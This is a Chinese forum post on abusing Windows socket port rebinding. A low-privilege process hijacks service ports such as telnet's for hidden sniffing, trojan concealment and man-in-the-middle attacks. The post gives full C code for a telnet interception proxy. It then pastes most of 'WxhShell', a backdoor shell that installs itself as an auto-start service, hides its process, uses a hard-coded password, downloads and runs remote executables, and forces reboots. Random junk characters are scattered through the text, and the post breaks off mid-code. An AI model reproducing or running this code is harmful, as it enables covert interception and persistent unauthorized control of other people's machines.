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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7M<Ae D%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^$Dpdz I  
l. ?R7f  
  saddr.sin_family = AF_INET; MVK='  
el39HB$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dy;Ue5  
C".&m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IM}T2\tZ}  
p mcy(<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J (Yfup  
.G#S*L  
  这意味着什么?意味着可以进行如下的攻击: iV[g.sP-  
KD*,u{v;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !9DqW&8  
' D+h_*H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~S15tZ $  
.HF+JHIUu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f*7/O |Gp  
F_U3+J>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IY?[0S  
gR"'|c   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V= U=  
a;D{P`%n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~sshhuF  
Glcl7f"<^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &xMR{:  
={-\)j  
  #include R3<>]/1p|P  
  #include c 's=>-X  
  #include 7-.Y VM~R  
  #include    /Ou`$2H87  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *r$Yv&c,  
  int main() ]fI v{[A_  
  { MbC7`Sp&i  
  WORD wVersionRequested; #.UooFk+Y  
  DWORD ret; W~k"`g7uu  
  WSADATA wsaData; o-Pa3L=  
  BOOL val; }x`W+r  
  SOCKADDR_IN saddr; K?,eIZ{.S  
  SOCKADDR_IN scaddr; g8 ,V( ^  
  int err; RyKsM.   
  SOCKET s; kXA o+l  
  SOCKET sc; aErms-~  
  int caddsize; 4<)%Esyb  
  HANDLE mt; aG}ju;  
  DWORD tid;   : I28Zi*  
  wVersionRequested = MAKEWORD( 2, 2 ); ao#{N=mn  
  err = WSAStartup( wVersionRequested, &wsaData ); >xws  
  if ( err != 0 ) { gEbe6!; q3  
  printf("error!WSAStartup failed!\n"); a H'iW)  
  return -1; }(z[ rZ  
  } 6 uW?xB9  
  saddr.sin_family = AF_INET; N%%2!Z#  
   ;ajCnSmR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '{p/F $  
la>:%SD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;BUJ5  
  saddr.sin_port = htons(23); }20 Q`?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Uc%(#I]Mi  
  { b26#0;i  
  printf("error!socket failed!\n"); G1z[v3T  
  return -1; ~UX@%0%)N  
  } (wU<Kpt?J  
  val = TRUE; B> *zQb2:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O%;H#3kn&s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %eB0 )'  
  { F0W4B  
  printf("error!setsockopt failed!\n"); S:4'k^E  
  return -1; lfp[(Ph)9  
  } &[$qA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KSnU;B6w>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J^8(h R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :0x,%V74_!  
e3,TY.,Ay  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -U~]Bugvh  
  { xDv$z.=Y  
  ret=GetLastError(); i"Hec9Ri  
  printf("error!bind failed!\n"); [74HUw>  
  return -1; c""*Ng*T  
  } N7:=%Fy(  
  listen(s,2);  \B) a57  
  while(1) 6MQ+![fN  
  { gR}> q4b  
  caddsize = sizeof(scaddr); $#4Qv5}  
  //接受连接请求 JpqZVu"7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8\HL8^6c5  
  if(sc!=INVALID_SOCKET) :so2 {.t-  
  { 4$.$j=Ct."  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GTL gj'B  
  if(mt==NULL) 4^cDp!8  
  { g"aWt% P  
  printf("Thread Creat Failed!\n"); ^F2 OTz4n  
  break; @TF^6)4f  
  } Uyf<:8U\  
  } !D6   
  CloseHandle(mt); / RU'~(  
  } @zo}#.g  
  closesocket(s); wZB:7E%  
  WSACleanup(); 2(M^8Bl  
  return 0; )Be?axI  
  }   d5h]yIz^  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3<.]+ukm  
  { @v{lH&K:;  
  SOCKET ss = (SOCKET)lpParam; TP7'tb  
  SOCKET sc; q-kMqnQ  
  unsigned char buf[4096]; Syv[ [Ek  
  SOCKADDR_IN saddr; "~-H]9  
  long num; jej|B#?`  
  DWORD val; `2N&{(  
  DWORD ret; @a-u_|3q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8w1TX [b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pa4,W!t  
  saddr.sin_family = AF_INET; [P~6O>a5p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qYo"-D*  
  saddr.sin_port = htons(23);  mG4$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -(*<2Hy4  
  { eS)2#=  
  printf("error!socket failed!\n"); uG<VQ2LM  
  return -1; W*?mc2;/  
  } Tj5G /H>   
  val = 100; JHQc)@E}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =P'33) \ )  
  { Sc!]M 5  
  ret = GetLastError(); ]gHxvT\E  
  return -1; K5l#dl_T  
  } [O~' \ Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s}"5uDfn1F  
  { T}')QC&wQ  
  ret = GetLastError(); /I Ql  
  return -1; bz5",8Mn  
  } wkNf[>jX?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hLF+_{\C|  
  { 0zH^yx:ma  
  printf("error!socket connect failed!\n"); !;Hi9,<#7g  
  closesocket(sc); &"X6s%ZH|  
  closesocket(ss); fzcPi9+  
  return -1; r*$$82s  
  } xX;@ BS  
  while(1) P(iZGOKUs=  
  { CbPCj.MH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0LI:R'P+P[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2K >tI9);  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F:$Dz?F0v  
  num = recv(ss,buf,4096,0); 'zYKG5A  
  if(num>0) "V/|RC  
  send(sc,buf,num,0); j5hM |\]  
  else if(num==0) V[E7 mhqy  
  break; 6 0C;J!D  
  num = recv(sc,buf,4096,0); :CH*~o  
  if(num>0) \1` L-lz  
  send(ss,buf,num,0); %Xm3m0nsv{  
  else if(num==0) VrG4wLpLs  
  break; 8R !3}kx  
  } O<}^`4d  
  closesocket(ss); /WIO@c  
  closesocket(sc); Z)iRc$;  
  return 0 ; s=)0y$  
  } do3 BI4Q  
#$\cRLPg  
;=rMIi  
========================================================== HbQvu@  
#Bo/1G=  
下边附上一个代码,,WXhSHELL P<+y%g(({  
m3|KIUP  
========================================================== %y@iA91K  
@\~qXz{6J  
#include "stdafx.h" 44s K2  
 ]J= S\  
#include <stdio.h> k:?+75?$  
#include <string.h> eFO+@  
#include <windows.h> y&y(<  
#include <winsock2.h> iz|mJUx  
#include <winsvc.h> w1zI"G~4/Q  
#include <urlmon.h> |. bp  
TmN}TMhZ  
#pragma comment (lib, "Ws2_32.lib") >{DHW1kF?  
#pragma comment (lib, "urlmon.lib") fVR:m`'Iq_  
 eiLtZQ  
#define MAX_USER   100 // 最大客户端连接数 $}[Tj0+:  
#define BUF_SOCK   200 // sock buffer P1P P#>E-2  
#define KEY_BUFF   255 // 输入 buffer &&1q@m,cP  
[\9WqHs  
#define REBOOT     0   // 重启 E\M{/.4 4  
#define SHUTDOWN   1   // 关机 DNgQ.lV  
1[k~*QS  
#define DEF_PORT   5000 // 监听端口 9JF*xXd>Q  
)9,*s !)9  
#define REG_LEN     16   // 注册表键长度 2>{_O?UN  
#define SVC_LEN     80   // NT服务名长度 >$.u|a  
Q@3.0Hf|{  
// 从dll定义API wf7<#jIq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kuh! b`9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ]Ll <  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q]*YIb~D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0Sz&Oguv  
+uPN+CgQ@  
// wxhshell配置信息 Z_%}pe39B  
struct WSCFG { @5gZK[?|I  
  int ws_port;         // 监听端口 ?FRR";  
  char ws_passstr[REG_LEN]; // 口令 tVx.J'"Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no T7;)HFGeW  
  char ws_regname[REG_LEN]; // 注册表键名  m8rz i:  
  char ws_svcname[REG_LEN]; // 服务名 o z } p]l7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uo1G   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z2chv,SqCJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uCK!lq-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =goZI67  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2|k*rv}l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rl4r 9  
CvpqQ7&k7  
}; ,5\:\e0H  
W7N Hr5RC  
// default Wxhshell configuration 7YRDQjg  
struct WSCFG wscfg={DEF_PORT, PVO9KWv**  
    "xuhuanlingzhe", *$(=I6b  
    1, p71% -nV  
    "Wxhshell", <$liWAGX\  
    "Wxhshell", 5iola}6  
            "WxhShell Service", < %Qw dEO  
    "Wrsky Windows CmdShell Service", FV/xp}nz  
    "Please Input Your Password: ", da@y*TO#i  
  1, 1{ #Xa=  
  "http://www.wrsky.com/wxhshell.exe", syh0E= If_  
  "Wxhshell.exe" |-7<?aw"  
    }; GS{:7%=j  
AK<ZP?0  
// 消息定义模块 x7e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D} 0>x~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :C42yQAP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &QOob)  
char *msg_ws_ext="\n\rExit."; PiB)pUYj  
char *msg_ws_end="\n\rQuit."; }\u~He%  
char *msg_ws_boot="\n\rReboot..."; Ja-D}|;  
char *msg_ws_poff="\n\rShutdown..."; DT&[W<oN  
char *msg_ws_down="\n\rSave to "; |D^Q}uT  
tYfhKJzGC  
char *msg_ws_err="\n\rErr!"; k?Jzy  
char *msg_ws_ok="\n\rOK!"; k;3P;@3,W  
~QdwoeaD  
char ExeFile[MAX_PATH]; m@JU).NKCS  
int nUser = 0; !W:QLOe6F  
HANDLE handles[MAX_USER]; KGUpXMd^Z  
int OsIsNt; v>3ctP {  
>ge-yK 1  
SERVICE_STATUS       serviceStatus; hk ./G'E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T GMHo{ ]  
We#*.nr{3Z  
// 函数声明 v%3)wD  
int Install(void); ~E^EF{h   
int Uninstall(void); gx[#@ (  
int DownloadFile(char *sURL, SOCKET wsh); p)ZlQ.d#Y  
int Boot(int flag); mUy/lo'4  
void HideProc(void); Ao96[2U6  
int GetOsVer(void); jn\\,n"6  
int Wxhshell(SOCKET wsl); IJ, ,aCj4g  
void TalkWithClient(void *cs); VhSKtD1  
int CmdShell(SOCKET sock); zi>f436-  
int StartFromService(void); 62EJ# q[  
int StartWxhshell(LPSTR lpCmdLine); ?vRz}hiy  
dab>@z4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mS~3QV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Op3 IL/  
|ry;'[*  
// 数据结构和表定义 |0f\>X I  
SERVICE_TABLE_ENTRY DispatchTable[] = @7lZ{jV$  
{ jZv8X 5i  
{wscfg.ws_svcname, NTServiceMain}, 8zj09T[  
{NULL, NULL} B_5q}Bp<  
}; Wr)% C  
d; #9xD'  
// 自我安装 .M>u:,v  
int Install(void) ">fgoDQ  
{ QHs=Zh;"  
  char svExeFile[MAX_PATH]; rvE!Q=y~  
  HKEY key; %n}.E30 4  
  strcpy(svExeFile,ExeFile); BpP\C!:^  
n]Dq  
// 如果是win9x系统,修改注册表设为自启动 L&3=5Bf9  
if(!OsIsNt) { ^ioTd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A#1y>k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iI&SI#; _  
  RegCloseKey(key); =r0!-[XCa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .h+<m7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YSrFHVq  
  RegCloseKey(key); M~662]Ekk  
  return 0; FeV=4tsy  
    } tDN-I5q  
  } l"*>>/U k  
} He!0&B\7h  
else { _ux 6SIyp`  
r)j#Skh].  
// 如果是NT以上系统,安装为系统服务 qE,%$0g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O1#rCFC|y  
if (schSCManager!=0) q=nMZVVlF(  
{ E#ys-t 42  
  SC_HANDLE schService = CreateService g"Ii'JZ?  
  ( wFqz.HoB  
  schSCManager, =D[h0U  
  wscfg.ws_svcname, b1*6)  
  wscfg.ws_svcdisp, {iQ<`,)Y  
  SERVICE_ALL_ACCESS, /asyj="N7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , coLn};W2  
  SERVICE_AUTO_START, 0>e>G(4(8  
  SERVICE_ERROR_NORMAL, 8=nm`7(]  
  svExeFile, +^69>L2V  
  NULL, V GvOwd)E  
  NULL, G,"$Erx  
  NULL, V)(pe #P  
  NULL, a|s=d  
  NULL +mxYz#reX  
  ); 0N T3  
  if (schService!=0) =kc{Q@Dk  
  { |d`?wm-  
  CloseServiceHandle(schService); 2!6Kzq  
  CloseServiceHandle(schSCManager); b6/:reH{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I(7gmCV  
  strcat(svExeFile,wscfg.ws_svcname); /Cg/Rwl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F 1zc4l6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9MYt4  
  RegCloseKey(key); (/KF;J^M  
  return 0; lmc-ofEv  
    } 8v6rS-iHP  
  } 50R+D0^mh  
  CloseServiceHandle(schSCManager); kXjpCtCu  
} G/ ^|oJ/G  
} v Cmh3TQ  
ih;TQ!c+b  
return 1; :<(<tz7dj  
} *xjIl<`pK  
B+B v(p  
// 自我卸载 qnm9L w#  
int Uninstall(void) 3}gK`1Nq1  
{ 2mT+@G  
  HKEY key; hWW<]qzA,  
U92hv~\  
if(!OsIsNt) { w`v\/a_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T a[74;VO  
  RegDeleteValue(key,wscfg.ws_regname); <A&R%5Vs  
  RegCloseKey(key); *oWzH_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  nm~  
  RegDeleteValue(key,wscfg.ws_regname); He*L"VpWv  
  RegCloseKey(key); 'Hia6 <m3  
  return 0; "nefRz%j+  
  } f 0#V^[%Q  
} r 1a{Y8?  
} |V7a26h  
else { (1HN, iJy  
:)yM9^<D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0q;] ;m  
if (schSCManager!=0) 7U7 i2 4  
{ t8+93,*B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E,$uN w']  
  if (schService!=0) `->k7a0<b1  
  { `j$d(+Gv  
  if(DeleteService(schService)!=0) { l`]!)j|+  
  CloseServiceHandle(schService); M*H G4(n0  
  CloseServiceHandle(schSCManager); !Ch ya  
  return 0; e_;6UZ+  
  } =w8 YZs8w  
  CloseServiceHandle(schService); Lgfr"{C  
  } srkOa d  
  CloseServiceHandle(schSCManager); gA|j\T{c  
} u^uG_^^,/  
} 7(;VUR%%.  
qTGy\i  
return 1; K\ ]r  
} K7Vr$,p  
D-!%L<<  
// 从指定url下载文件 zK92:+^C   
int DownloadFile(char *sURL, SOCKET wsh) BkeP?X  
{ F"C Yrt  
  HRESULT hr; B;Z^.3  
char seps[]= "/"; sJlKN  
char *token; A%O#S<sa  
char *file; E=QQZ\w  
char myURL[MAX_PATH]; (Vv]:Y]  
char myFILE[MAX_PATH]; Ei<:=6EX?8  
*S4P'JSY  
strcpy(myURL,sURL); &$Lm95  
  token=strtok(myURL,seps); ;$Jvqq|T  
  while(token!=NULL) q}i87a;m  
  { y^rg%RV  
    file=token; !/zj7z !  
  token=strtok(NULL,seps);  B" z5j  
  } Uy:.m  
?0a 0 R  
GetCurrentDirectory(MAX_PATH,myFILE); g < o;\\  
strcat(myFILE, "\\"); VLN3x.BY  
strcat(myFILE, file); g-}sVvM  
  send(wsh,myFILE,strlen(myFILE),0); : \OvVS/  
send(wsh,"...",3,0); ~dLZ[6Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1aG}-:$t'  
  if(hr==S_OK) ZM?r1Z4  
return 0; ]l'ki8  
else {@%(0d{n}  
return 1; >cb gL%  
s`YuH <8  
} F! e`i-xt  
t@n (a  
// 系统电源模块 U'G`Q0n  
int Boot(int flag) pH [lj8S  
{ U;@jl?jnG  
  HANDLE hToken; Se`N5hQ  
  TOKEN_PRIVILEGES tkp; ($W 5fbu  
gEsR-A!m  
  if(OsIsNt) { /f<(K-o]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i#=X#_ +El  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @k,(i=**  
    tkp.PrivilegeCount = 1; 3(&F.&C$$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EYG E#C; d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M(uB ;Te  
if(flag==REBOOT) { 9a%@j ]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $O8V!R*  
  return 0; v!xrUyN~m  
} |Ze}bM=N  
else { &:*+p-!2<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %#a%Luq  
  return 0; GcCs}(eo  
} !.$P`wKr  
  } xk8p,>/  
  else { pQ{t< >  
if(flag==REBOOT) { w"iZn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I+t38 un%  
  return 0; T}[vfIJD  
} G{~p.?f:  
else { ooSd6;'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SGd.z6"H  
  return 0; pe})A  
} J|24I4  
} iXRt9)MT{  
VAE?={-  
return 1; x^2/jUc#B  
} ;i :wY&  
)d u{ZWr  
// win9x进程隐藏模块 oJT@'{;*z  
void HideProc(void) t|QMS M?s  
{ ueBoSZRWX  
4>C=:w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E}/|Lja  
  if ( hKernel != NULL ) |qDfFGYf  
  { #%"TU,[+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UO<claV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R7c)C8/~  
    FreeLibrary(hKernel); *AR<DXE L  
  } -yGm^EwP  
1>y=i+T/b  
return; /,Id_TTCO  
} bnu0*Zg>  
gGml c:/J%  
// 获取操作系统版本 !bQ &n  
int GetOsVer(void) F)ld@Ydk=  
{ mm<iT59  
  OSVERSIONINFO winfo; 'TsZuZW]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H)aC'M^  
  GetVersionEx(&winfo); @zF:{=+]+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u!k<sd_8B  
  return 1; uN3J)@;_  
  else `1<3Hu_  
  return 0; ,ri--<  
} -L?% o_  
%P,^}h7  
// 客户端句柄模块 4$GRCq5N;  
int Wxhshell(SOCKET wsl) A;a(n\Sy  
{ /~cL L  
  SOCKET wsh; VhIIW"1  
  struct sockaddr_in client; gD+t'qg$  
  DWORD myID; 59BHGvaF  
c$:=d4t5$  
  while(nUser<MAX_USER) Nw& }qSN  
{ ~<[5uZIo  
  int nSize=sizeof(client); WTv\HI2X !  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I jztj  
  if(wsh==INVALID_SOCKET) return 1; DLVs>?Y  
[HiTR!o*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mqf}Aiqk;  
if(handles[nUser]==0) XfK.Fj~-  
  closesocket(wsh); `oRs-,d|<  
else 8yz((?LrDh  
  nUser++; &|"I0|tJ  
  } '!h0![OH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h]DE Cd{  
xYVjUb(,X  
  return 0; D4]B>  
} 4U;XqUY /  
Q <-%jBP  
// 关闭 socket 64rk^Um  
void CloseIt(SOCKET wsh) _JIUds5  
{ 4yZ+,hqJ<9  
closesocket(wsh); l%U_iqL&  
nUser--; KM(9& 1/  
ExitThread(0); jP.b oj_u*  
} 9`n) "r  
S@zkoj@  
// 客户端请求句柄 {2gd4[:  
void TalkWithClient(void *cs) -Dq:Y,%q  
{ =/QU$[7X(  
-hFyqIJW  
  SOCKET wsh=(SOCKET)cs; (s@tU>4U  
  char pwd[SVC_LEN]; ! }?jCpp  
  char cmd[KEY_BUFF]; RHl=$Hm.%  
char chr[1]; v;}`?@G  
int i,j; [xp,&  
!5SQN5K  
  while (nUser < MAX_USER) { mS~ ]I$  
UK_aqB  
if(wscfg.ws_passstr) { DcR}pQ(e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5h=TV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =<zSF\Zr_  
  //ZeroMemory(pwd,KEY_BUFF); C"^hMsU8  
      i=0; X8SRQO^  
  while(i<SVC_LEN) { \pD=Lv9  
QUZQY`' @  
  // 设置超时 N|O]z  
  fd_set FdRead; +\8krA  
  struct timeval TimeOut; i@R$g~~-D  
  FD_ZERO(&FdRead); zvb} p  
  FD_SET(wsh,&FdRead); 9C)3 b3  
  TimeOut.tv_sec=8; /b:t;0G  
  TimeOut.tv_usec=0; ]\ 2RV DC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (p.3'j(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oSA*~N:  
b801O F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LUDJPIk  
  pwd=chr[0]; |~b R.IA  
  if(chr[0]==0xd || chr[0]==0xa) { fxoi<!|iGY  
  pwd=0; Ag4Ga?&8ec  
  break; -6~y$c&c  
  } 1.95 ^8  
  i++; eBC%2TF  
    } hKZ`DB4  
,WB_C\.#XN  
  // 如果是非法用户,关闭 socket Z-h7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +5t bK  
} 7Cd_zZ  
9ze|s^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oS#'u 1k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {pb9UUP2  
H&=n:'k^  
while(1) { sL AuR  
:EmQ_?(^  
  ZeroMemory(cmd,KEY_BUFF); b~r{J5x@  
W\qLZuQ  
      // 自动支持客户端 telnet标准   G]mWaA  
  j=0; >'}=.3\  
  while(j<KEY_BUFF) { ey\m)6A$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E R]sDV  
  cmd[j]=chr[0]; BF@5&>E  
  if(chr[0]==0xa || chr[0]==0xd) { ]C ~1]7vb  
  cmd[j]=0; Q1nDl  
  break; Yb%-tv:  
  } (\T0n[  
  j++; %nmY:}um  
    } `e $n$Bh  
N=T.l*8  
  // 下载文件 4j@i%  
  if(strstr(cmd,"http://")) { \/*Nf?;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x9)aBB  
  if(DownloadFile(cmd,wsh)) Ob8B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sCF40AoY&  
  else Zgg'9E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  gmRT1T  
  } Jh43)#G-  
  else { zRV!(Y  
nJleef9  
    switch(cmd[0]) { )>y k-  
  f{igW?Ho  
  // 帮助 p`:*mf  
  case '?': { $Ei o$TI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JYwyR++uo  
    break; >sQ2@"y)s2  
  } w!WRa8C  
  // 安装 }U%^3r-  
  case 'i': { .~q)eV  
    if(Install()) ;NH~9# t:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !6zyJc @01  
    else T3Frc ]6,4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SLtSqG7~  
    break; U~*c#U"bh  
    } iUIy,Y  
  // 卸载 @8=vFP'  
  case 'r': { ,M) k7t:  
    if(Uninstall()) _\dt?(m|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SPkKiEdM  
    else 20UqJM8 Ot  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aXdf>2c{JD  
    break; #e.jY_  
    } X*sr  
  // 显示 wxhshell 所在路径 wfxOx$]z K  
  case 'p': { 4l&"]9D  
    char svExeFile[MAX_PATH]; gEv->pc  
    strcpy(svExeFile,"\n\r"); =n-z;/NL  
      strcat(svExeFile,ExeFile); WY+(]Wkao  
        send(wsh,svExeFile,strlen(svExeFile),0); LY-lTr@A^  
    break; }iilzE4oH#  
    } "v(G7*2  
  // 重启 a`H\-G  
  case 'b': { FUaI2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +7Yu^&  
    if(Boot(REBOOT)) hCzjC|EO~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #(%t*"IY;  
    else { )n7|?@5U  
    closesocket(wsh); |l|_dn  
    ExitThread(0); 9W*.lf  
    } V43nws "4  
    break; 3{<R5wUo"  
    } Tu]&^[B('  
  // 关机 "~u_\STn <  
  case 'd': { [@m[V1D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F`!TV(,bY  
